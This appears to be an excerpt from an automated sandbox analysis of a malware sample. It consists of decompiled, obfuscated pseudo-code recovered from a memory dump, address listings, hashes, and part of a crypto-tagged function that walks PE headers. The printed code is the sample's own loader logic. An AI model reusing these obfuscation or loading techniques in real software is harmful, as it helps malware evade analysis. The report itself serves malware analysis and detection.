							 *_t718 = _t431 +  *(_t704 + 8);
							_t107 = _t535 + 0x41c07f; // 0x41c07f
							 *_t718 = _t107;
							_t435 =  *((intOrPtr*)(_t535 + 0x41f060))( *(_t704 - 0x10),  *(_t704 - 0x14));
							 *_t718 =  *_t718 - _t607;
							 *_t718 =  *_t718 | _t435;
							_t110 = _t535 + 0x41d248; // 0x41d248
							 *(_t704 - 0x14) =  *(_t704 - 0x14) & 0x00000000;
							 *_t718 =  *_t718 | _t110;
							_t437 =  *((intOrPtr*)(_t535 + 0x41f060))( *(_t704 - 0x14), _t607);
							_t559 =  *_t718;
							_t719 =  &(_t718[1]);
							 *(_t704 - 0x10) = _t535;
							_push(_t559 + _t437);
							_t538 =  *(_t704 - 0x10);
							_pop(_t438);
							_t561 = _t559 & 0x00000000 ^ _t607 -  *_t719 ^  *(_t538 + 0x41d0e6);
							_t610 = _t607;
							if(_t561 > _t438) {
								_t118 = _t538 + 0x41c07f; // 0x41c07f
								 *(_t704 - 0x14) =  *(_t704 - 0x14) & 0x00000000;
								 *_t719 =  *_t719 + _t118;
								_t122 = _t538 + 0x41d248; // 0x41d248
								 *(_t704 - 0x14) = 0;
								 *_t719 =  *_t719 | _t122;
								_t438 =  *((intOrPtr*)(_t538 + 0x41f064))( *(_t704 - 0x14),  *(_t704 - 0x14));
								 *(_t704 - 0x10) = _t671;
								 *((intOrPtr*)(_t538 + 0x41cd68)) = _t438;
								_t671 =  *(_t704 - 0x10);
							}
							_pop( *_t129);
							 *_t719 = _t561 & 0x00000000 ^  *(_t704 - 0x10);
							_t564 = _t671;
							_t672 = _t564 +  *(_t704 + 8);
							_t566 = 0;
							 *_t719 =  *_t719 & 0x00000000;
							 *_t719 =  *_t719 | _t566;
							_t132 = _t538 + 0x41d135; // 0x41d135
							 *_t719 = _t132;
							_t134 = _t538 + 0x41c60e; // 0x41c60e
							 *_t719 =  *_t719 & 0x00000000;
							 *_t719 =  *_t719 | _t134;
							_t441 =  *((intOrPtr*)(_t538 + 0x41f068))(_t566,  *(_t704 - 0x10), _t438);
							 *(_t704 - 0x14) = _t610;
							 *((intOrPtr*)(_t538 + 0x41c3e6)) = _t441;
							_t613 =  *(_t704 - 0x14);
							_t568 =  *_t719;
							_t720 = _t719 - 0xfffffffc;
							 *_t720 =  *_t720 - _t613;
							 *_t720 =  *_t720 ^ _t568;
							_t139 = _t538 + 0x41c220; // 0x41c220
							 *(_t704 - 0x14) = 0;
							 *_t720 =  *_t720 + _t139;
							_t443 =  *((intOrPtr*)(_t538 + 0x41f060))( *(_t704 - 0x14), _t613);
							 *(_t704 - 0x10) = _t568;
							 *(_t538 + 0x41cf1d) =  *(_t538 + 0x41cf1d) & 0x00000000;
							 *(_t538 + 0x41cf1d) =  *(_t538 + 0x41cf1d) ^ (_t568 ^  *(_t704 - 0x10) | _t443);
							_t444 =  *((intOrPtr*)(_t538 + 0x41f054))();
							 *(_t704 - 0x14) = 0;
							 *_t720 =  *_t720 + _t444;
							_t153 = _t538 + 0x41c49b; // 0x41c49b
							 *(_t704 - 0x10) = 0;
							 *_t720 =  *_t720 + _t153;
							_t446 =  *((intOrPtr*)(_t538 + 0x41f060))( *(_t704 - 0x10),  *(_t704 - 0x14));
							 *(_t704 - 0x14) = _t672;
							 *(_t538 + 0x41c8aa) =  *(_t538 + 0x41c8aa) & 0x00000000;
							 *(_t538 + 0x41c8aa) =  *(_t538 + 0x41c8aa) | _t672 & 0x00000000 ^ _t446;
							_t675 =  *(_t704 - 0x14);
							_t721 = _t720 - 0xfffffffc;
							 *(_t704 - 0x10) = _t613;
							 *(_t704 - 4) =  *(_t704 - 4) & 0x00000000;
							 *(_t704 - 4) =  *(_t704 - 4) ^ _t613 -  *(_t704 - 0x10) ^ _t446 & 0x00000000 ^  *_t720;
							_t616 =  *(_t704 - 0x10);
							_t170 = _t538 + 0x41c279; // 0x41c279
							 *_t721 = _t170;
							_t172 = _t538 + 0x41d1ea; // 0x41d1ea
							 *_t721 =  *_t721 - _t675;
							 *_t721 = _t172;
							_t451 =  *((intOrPtr*)(_t538 + 0x41f068))(_t675,  *(_t704 - 0x14));
							 *(_t704 - 0x14) =  *(_t704 - 0x10);
							 *(_t538 + 0x41cbc5) = 0 ^ _t451;
							_t574 =  *(_t704 - 0x14);
							goto L9;
						}
						 *_t721 =  *_t721 ^ _t491;
						_t523 = _t491;
						return _t523;
						L9:
						if(( *_t675 & 0x80000000) != 0) {
							goto L15;
						} else {
							_t179 = _t538 + 0x41c8e1; // 0x41c8e1
							 *_t721 =  *_t721 - _t616;
							 *_t721 =  *_t721 | _t179;
							_t493 =  *((intOrPtr*)(_t538 + 0x41f060))(_t616);
							 *(_t704 - 0x10) = 0;
							 *_t721 =  *_t721 | _t493;
							_t183 = _t538 + 0x41c6e2; // 0x41c6e2
							 *_t721 =  *_t721 - _t538;
							 *_t721 =  *_t721 | _t183;
							_t495 =  *((intOrPtr*)(_t538 + 0x41f060))(_t538,  *(_t704 - 0x10));
							_t588 = (_t574 & 0x00000000) +  *_t721;
							_t724 = _t721 - 0xfffffffc;
							 *_t724 =  *_t724 + _t645;
							_t651 = _t495;
							_t496 = _t651 + _t588;
							_t653 = 0;
							 *(_t704 - 0x10) = _t616;
							_t590 = _t588 & 0x00000000 ^ _t616 ^  *(_t704 - 0x10) ^  *(_t538 + 0x41c521);
							_t629 =  *(_t704 - 0x10);
							if(_t590 > _t496) {
								_t189 = _t538 + 0x41c8e1; // 0x41c8e1
								 *_t724 =  *_t724 & 0x00000000;
								 *_t724 =  *_t724 | _t189;
								_t190 = _t538 + 0x41c6e2; // 0x41c6e2
								 *_t724 = _t190;
								_t496 =  *((intOrPtr*)(_t538 + 0x41f064))( *(_t704 - 0x10), _t675);
							}
							 *(_t538 + 0x41c56c) =  *(_t538 + 0x41c56c) & 0x00000000;
							 *(_t538 + 0x41c56c) =  *(_t538 + 0x41c56c) ^ (_t704 & 0x00000000 | _t496);
							_t704 = _t704;
							 *_t724 =  *_t724 & 0x00000000;
							 *_t724 =  *_t724 + _t675;
							_t197 = _t538 + 0x41c266; // 0x41c266
							 *_t724 = _t197;
							_push( *((intOrPtr*)(_t538 + 0x41f060))( *(_t704 - 0x10), _t496));
							_pop( *_t200);
							_push( *(_t704 - 0x10));
							_pop( *_t202);
							_t692 =  *_t675;
							_t203 = _t538 + 0x41ce1f; // 0x41ce1f
							 *_t724 =  *_t724 & 0x00000000;
							 *_t724 =  *_t724 ^ _t203;
							_t500 =  *((intOrPtr*)(_t538 + 0x41f060))(_t692);
							 *(_t704 - 0x10) = 0;
							 *_t724 =  *_t724 ^ _t500;
							_t207 = _t538 + 0x41c0ad; // 0x41c0ad
							 *(_t704 - 0x14) =  *(_t704 - 0x14) & 0x00000000;
							 *_t724 =  *_t724 | _t207;
							_t502 =  *((intOrPtr*)(_t538 + 0x41f060))( *(_t704 - 0x14),  *(_t704 - 0x10));
							_pop( *_t212);
							_t592 = _t590 & 0x00000000 |  *(_t704 - 0x14);
							 *_t214 = _t502;
							 *(_t704 - 0x10) =  *(_t704 - 0x10) + _t592;
							_push( *(_t704 - 0x10));
							_pop(_t503);
							_t631 = _t629;
							 *(_t704 - 0x10) = _t692;
							_t594 = _t592 & 0x00000000 | _t692 & 0x00000000 ^  *(_t538 + 0x41c765);
							_t695 =  *(_t704 - 0x10);
							if(_t594 > _t503) {
								_t221 = _t538 + 0x41ce1f; // 0x41ce1f
								 *_t724 = _t221;
								_t223 = _t538 + 0x41c0ad; // 0x41c0ad
								 *_t724 =  *_t724 & 0x00000000;
								 *_t724 =  *_t724 | _t223;
								_t503 =  *((intOrPtr*)(_t538 + 0x41f064))(_t704,  *(_t704 - 0x14));
							}
							 *_t724 = _t631;
							 *(_t538 + 0x41c497) = 0 ^ _t503;
							_t634 = 0;
							 *_t724 = _t653;
							_t654 = _t695;
							_t696 = _t654 +  *(_t704 + 8);
							_t656 = 0;
							_t227 = _t538 + 0x41d159; // 0x41d159
							 *(_t704 - 0x14) =  *(_t704 - 0x14) & 0x00000000;
							 *_t724 =  *_t724 ^ _t227;
							_t231 = _t538 + 0x41d213; // 0x41d213
							 *(_t704 - 0x10) = 0;
							 *_t724 =  *_t724 + _t231;
							_t506 =  *((intOrPtr*)(_t538 + 0x41f068))( *(_t704 - 0x10),  *(_t704 - 0x14));
							 *(_t704 - 0x14) = _t696;
							 *(_t538 + 0x41d182) =  *(_t538 + 0x41d182) & 0x00000000;
							 *(_t538 + 0x41d182) =  *(_t538 + 0x41d182) ^ (_t696 ^  *(_t704 - 0x14) | _t506);
							_t577 = _t594;
							_t242 = _t538 + 0x41c85c; // 0x41c85c
							 *_t724 =  *_t724 & 0x00000000;
							 *_t724 =  *_t724 | _t242;
							_t243 = _t538 + 0x41c10e; // 0x41c10e
							 *_t724 = _t243;
							_t509 =  *((intOrPtr*)(_t538 + 0x41f068))( *(_t704 - 0x14), _t634);
							 *(_t538 + 0x41ce00) =  *(_t538 + 0x41ce00) & 0x00000000;
							 *(_t538 + 0x41ce00) =  *(_t538 + 0x41ce00) | _t634 & 0x00000000 | _t509;
							_t637 = _t634;
							_push( *(_t704 - 0x14) + 2);
							_pop( *_t250);
							_push( *(_t704 - 0x14));
							_pop( *_t252);
							_t253 = _t538 + 0x41c9a3; // 0x41c9a3
							 *(_t704 - 0x14) =  *(_t704 - 0x14) & 0x00000000;
							 *_t724 =  *_t724 ^ _t253;
							_t257 = _t538 + 0x41d1fa; // 0x41d1fa
							 *_t724 = _t257;
							_t512 =  *((intOrPtr*)(_t538 + 0x41f068))( *(_t704 - 0x14),  *(_t704 - 0x14));
							 *_t724 = _t637;
							 *((intOrPtr*)(_t538 + 0x41d0fe)) = _t512;
							_t622 = 0;
							_t675 = 0 ^  *_t724;
							_t721 =  &(_t724[1]);
							_t261 = _t538 + 0x41d0af; // 0x41d0af
							 *_t721 =  *_t721 & 0x00000000;
							 *_t721 =  *_t721 | _t261;
							_t262 = _t538 + 0x41ceae; // 0x41ceae
							 *_t721 = _t262;
							_t459 =  *((intOrPtr*)(_t538 + 0x41f068))( *(_t704 - 0x10), _t577);
							 *(_t704 - 0x10) = _t656;
							 *(_t538 + 0x41c8cd) =  *(_t538 + 0x41c8cd) & 0x00000000;
							 *(_t538 + 0x41c8cd) =  *(_t538 + 0x41c8cd) ^ _t656 -  *(_t704 - 0x10) ^ _t459;
							_t645 =  *(_t704 - 0x10);
						}
						 *(_t704 - 0x10) = _t540;
						_t543 =  *(_t704 - 0x10);
						_t299 = _t543 + 0x41cb0b; // 0x41cb0b
						 *(_t704 - 0x14) = 0;
						 *_t721 =  *_t721 | _t299;
						_t463 =  *((intOrPtr*)(_t543 + 0x41f060))( *(_t704 - 0x14));
						 *_t721 = _t463;
						_t304 = _t543 + 0x41cda5; // 0x41cda5
						 *_t721 = _t304;
						_t465 =  *((intOrPtr*)(_t543 + 0x41f060))( *(_t704 - 0x14),  *(_t704 - 0x10));
						_t722 = _t721 - 0xfffffffc;
						 *_t722 =  *_t722 ^ _t704;
						_t705 = _t465;
						_t466 = _t705 +  *_t721;
						_t707 = 0;
						 *(_t707 - 0x14) = _t675;
						_t580 =  *(_t543 + 0x41c96a);
						_t678 =  *(_t707 - 0x14);
						if(_t580 > _t466) {
							_t310 = _t543 + 0x41cb0b; // 0x41cb0b
							 *_t722 =  *_t722 & 0x00000000;
							 *_t722 =  *_t722 | _t310;
							_t311 = _t543 + 0x41cda5; // 0x41cda5
							 *(_t707 - 0x14) =  *(_t707 - 0x14) & 0x00000000;
							 *_t722 =  *_t722 | _t311;
							_t466 =  *((intOrPtr*)(_t543 + 0x41f064))( *(_t707 - 0x14), _t707);
						}
						 *_t316 = _t466;
						 *_t318 =  *(_t707 - 0x10);
						_t722[1] =  *(_t707 - 0xc);
						_t545 = _t543;
						_t321 = _t545 + 0x41cee2; // 0x41cee2
						 *_t722 = _t321;
						_t323 = _t545 + 0x41d33a; // 0x41d33a
						 *(_t707 - 0x14) = 0;
						 *_t722 =  *_t722 | _t323;
						_t469 =  *((intOrPtr*)(_t545 + 0x41f068))( *(_t707 - 0x14),  *(_t707 - 0x10), _t580);
						 *(_t545 + 0x41d1da) =  *(_t545 + 0x41d1da) & 0x00000000;
						 *(_t545 + 0x41d1da) =  *(_t545 + 0x41d1da) | _t678 -  *_t722 | _t469;
						_t681 = _t678;
						 *(_t707 - 0x10) = _t645;
						_t648 =  *(_t707 - 0x10);
						 *_t722 =  *_t722 - _t622;
						 *_t722 =  *_t722 ^ (_t469 & 0x00000000 | _t645 ^  *(_t707 - 0x10) |  *(_t707 - 4));
						_t335 = _t545 + 0x41d2b3; // 0x41d2b3
						 *_t722 =  *_t722 - _t622;
						 *_t722 = _t335;
						_t336 = _t545 + 0x41cb87; // 0x41cb87
						 *(_t707 - 0x10) =  *(_t707 - 0x10) & 0x00000000;
						 *_t722 =  *_t722 + _t336;
						_t474 =  *((intOrPtr*)(_t545 + 0x41f068))( *(_t707 - 0x10), _t622, _t622);
						 *(_t707 - 0x10) = _t580;
						 *(_t545 + 0x41cf9a) =  *(_t545 + 0x41cf9a) & 0x00000000;
						 *(_t545 + 0x41cf9a) =  *(_t545 + 0x41cf9a) | _t580 ^  *(_t707 - 0x10) | _t474;
						_t583 =  *(_t707 - 0x10);
						_t723 =  &(_t722[1]);
						 *(_t707 - 0x10) = 0;
						 *_t723 =  *_t723 ^  *_t722;
						_t350 = _t545 + 0x41c922; // 0x41c922
						 *(_t707 - 0x10) = 0;
						 *_t723 =  *_t723 | _t350;
						_t353 = _t545 + 0x41c97d; // 0x41c97d
						 *_t723 =  *_t723 & 0x00000000;
						 *_t723 =  *_t723 + _t353;
						_t479 =  *((intOrPtr*)(_t545 + 0x41f068))(_t583,  *(_t707 - 0x10),  *(_t707 - 0x10));
						 *(_t545 + 0x41cae1) =  *(_t545 + 0x41cae1) & 0x00000000;
						 *(_t545 + 0x41cae1) =  *(_t545 + 0x41cae1) | _t707 & 0x00000000 | _t479;
						_t704 = _t707;
						_t480 =  *((intOrPtr*)(_t545 + 0x41f050))();
						 *(_t704 - 0x14) = 0;
						 *_t723 =  *_t723 + _t480;
						_t362 = _t545 + 0x41c197; // 0x41c197
						 *(_t704 - 0x14) = 0;
						 *_t723 =  *_t723 | _t362;
						_t482 =  *((intOrPtr*)(_t545 + 0x41f060))( *(_t704 - 0x14),  *(_t704 - 0x14));
						 *(_t704 - 0x14) = 0;
						 *_t723 =  *_t723 | _t482;
						_t368 = _t545 + 0x41c46f; // 0x41c46f
						 *(_t704 - 0x14) = 0;
						 *_t723 =  *_t723 ^ _t368;
						_t484 =  *((intOrPtr*)(_t545 + 0x41f060))( *(_t704 - 0x14),  *(_t704 - 0x14));
						_pop( *_t372);
						_t585 = (_t583 & 0x00000000) +  *(_t704 - 0x10);
						 *_t374 = _t484;
						 *(_t704 - 0x14) =  *(_t704 - 0x14) + _t585;
						_push( *(_t704 - 0x14));
						_pop(_t485);
						_t547 = _t545;
						 *(_t704 - 0x10) = _t648;
						_t574 = _t585 & 0x00000000 ^ _t648 -  *(_t704 - 0x10) ^  *(_t547 + 0x41c9d0);
						_t645 =  *(_t704 - 0x10);
						if(_t574 > _t485) {
							_t382 = _t547 + 0x41c197; // 0x41c197
							 *_t723 =  *_t723 & 0x00000000;
							 *_t723 =  *_t723 + _t382;
							_t383 = _t547 + 0x41c46f; // 0x41c46f
							 *(_t704 - 0x10) = 0;
							 *_t723 =  *_t723 ^ _t383;
							_t485 =  *((intOrPtr*)(_t547 + 0x41f064))( *(_t704 - 0x10), _t681);
							 *(_t547 + 0x41cfe1) =  *(_t547 + 0x41cfe1) & 0x00000000;
							 *(_t547 + 0x41cfe1) =  *(_t547 + 0x41cfe1) | _t704 ^  *_t723 ^ _t485;
							_t704 = _t704;
						}
						_t721 =  &(_t723[1]);
						 *_t721 =  *_t721 ^ _t704;
						 *_t721 = _t681;
						 *_t721 = _t485 & 0x00000000 |  *_t723;
						_t490 = 0;
						 *_t721 = _t622;
						 *((intOrPtr*)( *((intOrPtr*)(_t704 - 8)))) = _t490;
						_t625 = 0;
						 *_t392 = _t704;
						 *_t721 = 4;
						_t491 = _t547;
						 *_t394 = 0 ^  *(_t704 - 0x14);
						 *(_t704 - 0x14) =  *(_t704 - 0x14) + _t491;
						_t675 =  *(_t704 - 0x14);
						_t616 = _t625;
						 *_t399 =  *((intOrPtr*)(_t704 - 8));
						 *(_t704 - 0x10) =  *(_t704 - 0x10) + _t491;
						 *_t403 =  *(_t704 - 0x10);
						_t538 = _t547;
						if( *_t675 != 0) {
							goto L9;
						}
						goto L21;
					}
				}
			}

0x031e5a25
0x031e5a25
0x031e5a25
0x031e5a2b
0x031e5a2c
0x031e5a30
0x031e5a33
0x031e5a39
0x031e5a40
0x031e5a46
0x031e5a49
0x031e5a49
0x031e5a4d
0x031e5a51
0x031e5a59
0x031e5a5c
0x031e5a5f
0x031e5a67
0x031e5a6e
0x031e5a74
0x031e5a75
0x031e5a7f
0x031e5a83
0x031e5a8d
0x031e5a91
0x031e5a94
0x031e5a9a
0x031e5aa1
0x031e5aa7
0x031e5aaa
0x031e5ab8
0x031e5abb
0x031e5ac5
0x031e5ac9
0x031e5acc
0x031e5ad2
0x031e5ada
0x031e5ae1
0x031e5ae7
0x031e5aea
0x031e5aea
0x031e5af8
0x031e5afb
0x031e5b01
0x031e5b0b
0x031e5b0e
0x031e5b17
0x031e5b1a
0x031e5b23
0x031e5b26
0x031e5b35
0x031e5b3a
0x031e5b3e
0x031e5b41
0x031e5b43
0x031e5b44
0x031e5b4f
0x031e5b51
0x031e5b56
0x031e5b58
0x031e5b5f
0x031e5b63
0x031e5b66
0x031e5b6c
0x031e5b73
0x031e5b76
0x031e5b76
0x031e5b7d
0x031e5b83
0x031e5b8e
0x031e5b92
0x031e5b93
0x031e5b9c
0x031e5b9f
0x031e5ba5
0x031e5baf
0x031e5bb2
0x031e5bbe
0x031e5bc5
0x031e5bcb
0x031e5bcc
0x031e5bda
0x031e5bde
0x031e5be1
0x031e5be4
0x031e5beb
0x031e5bee
0x031e5bf1
0x031e5bf7
0x031e5bfe
0x031e5c01
0x031e5c07
0x031e5c0f
0x031e5c16
0x031e5c1c
0x031e5c28
0x031e5c2b
0x031e5c35
0x031e5c38
0x031e5c3e
0x031e5c48
0x031e5c4b
0x031e5c52
0x031e5c56
0x031e5c59
0x031e5c65
0x031e5c6c
0x031e5c72
0x031e5c73
0x031e5c79
0x031e5c83
0x031e5c86
0x031e5c8c
0x031e5c96
0x031e5c99
0x031e5c9f
0x031e5ca9
0x031e5cac
0x031e5cb2
0x031e5cbc
0x031e5cbf
0x031e5ccb
0x031e5cce
0x031e5cd5
0x031e5cd8
0x031e5cdb
0x031e5cde
0x031e5cdf
0x031e5ce0
0x031e5cef
0x031e5cf1
0x031e5cf6
0x031e5cf8
0x031e5cff
0x031e5d03
0x031e5d06
0x031e5d0c
0x031e5d16
0x031e5d19
0x031e5d25
0x031e5d2c
0x031e5d32
0x031e5d32
0x031e5d3c
0x031e5d40
0x031e5d43
0x031e5d48
0x031e5d52
0x031e5d55
0x031e5d5c
0x031e5d5e
0x031e5d61
0x031e5d68
0x031e5d6f
0x031e5d74
0x031e5d77
0x031e5d7d
0x031e5d7e
0x031e5d85
0x031e5d88
0x031e5d8e
0x031e5d91
0x031e5d95
0x00000000
0x00000000
0x031e5d9b
0x031e5da4
0x031e5da6
0x031e5daa
0x031e5314
0x031e5405
0x031e540b
0x031e540c
0x031e5413
0x031e5417
0x031e541a
0x031e5421
0x031e5424
0x031e5427
0x031e5433
0x031e543a
0x031e5440
0x031e531a
0x031e531a
0x031e5320
0x031e532a
0x031e532d
0x031e5333
0x031e533a
0x031e5343
0x031e5346
0x031e5349
0x031e534c
0x031e534d
0x031e5356
0x031e5359
0x031e5365
0x031e536c
0x031e5372
0x031e5372
0x031e5445
0x031e5445
0x031e5448
0x031e544f
0x031e5452
0x031e5455
0x031e545d
0x031e5464
0x031e546a
0x031e546b
0x031e546e
0x031e5477
0x031e547a
0x031e5480
0x031e5487
0x031e548a
0x031e5491
0x031e5495
0x031e5498
0x031e54a0
0x031e54a3
0x031e54aa
0x031e54ad
0x031e54b0
0x031e54b3
0x031e54b4
0x031e54b5
0x031e54c4
0x031e54c6
0x031e54cb
0x031e54cd
0x031e54d6
0x031e54d9
0x031e54df
0x031e54e6
0x031e54e9
0x031e54e9
0x031e54ef
0x031e54f7
0x031e54fe
0x031e5504
0x031e5507
0x031e5515
0x031e5519
0x031e551d
0x031e5520
0x031e5527
0x031e552b
0x031e552e
0x031e5535
0x031e5539
0x031e553c
0x031e5542
0x031e554a
0x031e5551
0x031e5557
0x031e555a
0x031e5562
0x031e5565
0x031e5568
0x031e556b
0x031e556e
0x031e556f
0x031e5576
0x031e5579
0x031e557c
0x031e5582
0x031e558c
0x031e5595
0x031e5596
0x031e5599
0x031e559c
0x031e55a2
0x031e55a5
0x031e55a8
0x031e55ab
0x031e55ad
0x031e55b1
0x031e55b4
0x031e55bb
0x031e55be
0x031e55c1
0x031e55c7
0x031e55cf
0x031e55d6
0x031e55dc
0x031e55e8
0x031e55eb
0x031e55ed
0x031e55f0
0x031e55f1
0x031e55fb
0x031e55fe
0x031e5607
0x031e560a
0x031e5611
0x031e5614
0x031e5617
0x031e561d
0x031e5624
0x031e5627
0x031e562f
0x031e5632
0x031e5635
0x031e563c
0x031e563d
0x031e5640
0x031e564e
0x031e5650
0x031e5653
0x031e5655
0x031e565b
0x031e5662
0x031e5665
0x031e566b
0x031e5675
0x031e5678
0x031e567e
0x031e5685
0x031e568b
0x031e568b
0x031e5694
0x031e569c
0x031e56a0
0x031e56a4
0x031e56a6
0x031e56a8
0x031e56ac
0x031e56af
0x031e56b8
0x031e56bb
0x031e56c2
0x031e56c6
0x031e56c9
0x031e56cf
0x031e56d6
0x031e56dc
0x031e56e1
0x031e56e4
0x031e56e8
0x031e56eb
0x031e56ee
0x031e56f4
0x031e56fe
0x031e5701
0x031e5707
0x031e570f
0x031e5716
0x031e571f
0x031e5725
0x031e572f
0x031e5732
0x031e5738
0x031e5742
0x031e5745
0x031e574b
0x031e5753
0x031e575a
0x031e5760
0x031e576c
0x031e576f
0x031e5777
0x031e577b
0x031e577e
0x031e5781
0x031e578a
0x031e578d
0x031e5794
0x031e5797
0x031e579a
0x031e57a0
0x031e57a7
0x031e57ad
0x00000000
0x031e57ad
0x031e5dbb
0x031e5dbe
0x031e5dd0
0x031e57b0
0x031e57b6
0x00000000
0x031e57bc
0x031e57bc
0x031e57c3
0x031e57c6
0x031e57c9
0x031e57cf
0x031e57d9
0x031e57dc
0x031e57e3
0x031e57e6
0x031e57e9
0x031e57f5
0x031e57f8
0x031e57fd
0x031e5801
0x031e5804
0x031e5806
0x031e5807
0x031e5816
0x031e5818
0x031e581d
0x031e581f
0x031e5826
0x031e582a
0x031e582d
0x031e5836
0x031e5839
0x031e5839
0x031e5845
0x031e584c
0x031e5852
0x031e5854
0x031e5858
0x031e585b
0x031e5864
0x031e586d
0x031e586e
0x031e5871
0x031e5874
0x031e587a
0x031e587c
0x031e5883
0x031e5887
0x031e588a
0x031e5890
0x031e589a
0x031e589d
0x031e58a3
0x031e58aa
0x031e58ad
0x031e58b9
0x031e58bc
0x031e58c3
0x031e58c6
0x031e58c9
0x031e58cc
0x031e58cd
0x031e58ce
0x031e58dd
0x031e58df
0x031e58e4
0x031e58e6
0x031e58ef
0x031e58f2
0x031e58f9
0x031e58fd
0x031e5900
0x031e5900
0x031e5908
0x031e590f
0x031e5915
0x031e5918
0x031e591c
0x031e5920
0x031e5922
0x031e5923
0x031e5929
0x031e5930
0x031e5933
0x031e5939
0x031e5943
0x031e5946
0x031e594c
0x031e5954
0x031e595b
0x031e596f
0x031e5970
0x031e5977
0x031e597b
0x031e597e
0x031e5987
0x031e598a
0x031e5996
0x031e599d
0x031e59a3
0x031e59a4
0x031e59a5
0x031e59a8
0x031e59ab
0x031e59ae
0x031e59b4
0x031e59bb
0x031e59be
0x031e59c7
0x031e59ca
0x031e59d2
0x031e59d9
0x031e59df
0x031e59e2
0x031e59e5
0x031e59e8
0x031e59ef
0x031e59f3
0x031e59f6
0x031e59ff
0x031e5a02
0x031e5a08
0x031e5a10
0x031e5a17
0x031e5a1d
0x031e5a1d
0x031e5aea
0x031e5af8
0x031e5afb
0x031e5b01
0x031e5b0b
0x031e5b0e
0x031e5b17
0x031e5b1a
0x031e5b23
0x031e5b26
0x031e5b35
0x031e5b3a
0x031e5b3e
0x031e5b41
0x031e5b43
0x031e5b44
0x031e5b4f
0x031e5b51
0x031e5b56
0x031e5b58
0x031e5b5f
0x031e5b63
0x031e5b66
0x031e5b6c
0x031e5b73
0x031e5b76
0x031e5b76
0x031e5b7d
0x031e5b83
0x031e5b8e
0x031e5b92
0x031e5b93
0x031e5b9c
0x031e5b9f
0x031e5ba5
0x031e5baf
0x031e5bb2
0x031e5bbe
0x031e5bc5
0x031e5bcb
0x031e5bcc
0x031e5bda
0x031e5bde
0x031e5be1
0x031e5be4
0x031e5beb
0x031e5bee
0x031e5bf1
0x031e5bf7
0x031e5bfe
0x031e5c01
0x031e5c07
0x031e5c0f
0x031e5c16
0x031e5c1c
0x031e5c28
0x031e5c2b
0x031e5c35
0x031e5c38
0x031e5c3e
0x031e5c48
0x031e5c4b
0x031e5c52
0x031e5c56
0x031e5c59
0x031e5c65
0x031e5c6c
0x031e5c72
0x031e5c73
0x031e5c79
0x031e5c83
0x031e5c86
0x031e5c8c
0x031e5c96
0x031e5c99
0x031e5c9f
0x031e5ca9
0x031e5cac
0x031e5cb2
0x031e5cbc
0x031e5cbf
0x031e5ccb
0x031e5cce
0x031e5cd5
0x031e5cd8
0x031e5cdb
0x031e5cde
0x031e5cdf
0x031e5ce0
0x031e5cef
0x031e5cf1
0x031e5cf6
0x031e5cf8
0x031e5cff
0x031e5d03
0x031e5d06
0x031e5d0c
0x031e5d16
0x031e5d19
0x031e5d25
0x031e5d2c
0x031e5d32
0x031e5d32
0x031e5d3c
0x031e5d40
0x031e5d43
0x031e5d48
0x031e5d52
0x031e5d55
0x031e5d5c
0x031e5d5e
0x031e5d61
0x031e5d68
0x031e5d6f
0x031e5d74
0x031e5d77
0x031e5d7d
0x031e5d7e
0x031e5d85
0x031e5d88
0x031e5d8e
0x031e5d91
0x031e5d95
0x00000000
0x00000000
0x00000000
0x031e5d95
0x031e5aea

Memory Dump Source

Source File: 00000005.00000002.230965320.00000000031E0000.00000040.00000001.sdmp, Offset: 031E0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b22095e20c329f7d375c50b2b4e61b093e339a4e4c2e62bd3b86910ad18266d0
Instruction ID: 9968802f783e13157923b3aa1e40a32b5bd629ef894aafa812055891b7094c3e
Opcode Fuzzy Hash: b22095e20c329f7d375c50b2b4e61b093e339a4e4c2e62bd3b86910ad18266d0
Instruction Fuzzy Hash: 62C14572844219DFEF00DFA0C8897EEBBF5FF08314F15086DD989AA145D3746664CBA9

Uniqueness

Uniqueness Score: -1.00%

Function 031E2FAF, Relevance: .2, Instructions: 210
COMMONCrypto

Download Yara Rule

C-Code - Quality: 76%

			E031E2FAF(void* __eax, signed int __ebx, signed int __ecx, signed int __edx, signed int __edi, void* __esi, signed int _a4) {
				char _v2;
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _t60;
				signed int _t62;
				void* _t63;
				void* _t64;
				signed int _t65;
				signed int _t68;
				signed int _t74;
				void* _t77;
				signed int _t80;
				void* _t81;
				void* _t83;
				void* _t86;
				void* _t90;
				void* _t92;
				void* _t93;
				void* _t95;
				signed int _t98;
				signed int _t102;
				signed int _t103;
				signed int _t105;
				signed int _t107;
				signed int _t108;
				signed int _t109;
				signed int _t111;
				signed int _t114;
				void* _t117;
				signed int _t120;
				signed int _t127;
				void* _t128;
				signed int _t130;
				signed int _t133;
				signed int _t140;
				signed int _t143;
				signed int _t145;
				void* _t148;
				signed int _t150;
				signed int _t151;
				signed int _t154;
				signed int _t156;
				void* _t161;
				signed int _t163;
				signed int _t164;
				void* _t167;
				signed int _t169;
				void* _t170;
				signed int* _t173;

				_t114 = __edx;
				_v16 = 0;
				_push(_v16);
				 *_t173 =  *_t173 + __esi;
				_v16 = _v16 & 0x00000000;
				_push(_v16);
				 *_t173 =  *_t173 | __edi;
				_push(__esi);
				_t140 =  *_t173;
				 *_t173 =  *(__ebx + 0x41c166);
				_pop( *_t8);
				_v16 = __ebx;
				_t74 = _v16;
				_t163 = _a4 | _a4;
				_t127 = _t163;
				_t164 = _t161;
				if(_t163 != 0) {
					 *_t173 = __ecx;
					_t90 = _t127;
					_t128 = _t90 +  *((intOrPtr*)(_t127 + 0x3c));
					_t92 = 0;
					 *_t14 =  *((intOrPtr*)(_t128 + 0x34));
					_push(_v16);
					_pop(_t60);
					_v12 = _v12 - _t60;
					_t77 = _t74;
					_v16 = _t140;
					_v8 = _v8 & 0x00000000;
					_v8 = _v8 | _t140 & 0x00000000 ^ _t60;
					_t143 = _v16;
					 *_t173 =  *_t173 + _t92;
					_t93 = _t128;
					_t95 = 0;
					_t130 = _t93 + ( *(_t128 + 0x14) & 0x0000ffff) + 0xffffffc0;
					_t98 = _t95;
					 *_t173 = _t164;
					_t62 =  *_t130;
					_t167 = 0;
					 *_t173 =  *_t173 | _t62;
					_t63 = _t62;
					if( *_t173 != 0) {
						_t80 = _t77;
						 *_t27 = _t63;
						_v16 = _v16 + _v12;
						_push(_v16);
						_pop(_t64);
						_t145 = _t143;
						_push(_t98 & 0x00000000 ^ (_t77 -  *_t173 |  *(_t130 + 4)));
						 *_t32 = _t64;
						_v16 = _v16 + _v8;
						_push(_v16);
						_pop(_t65);
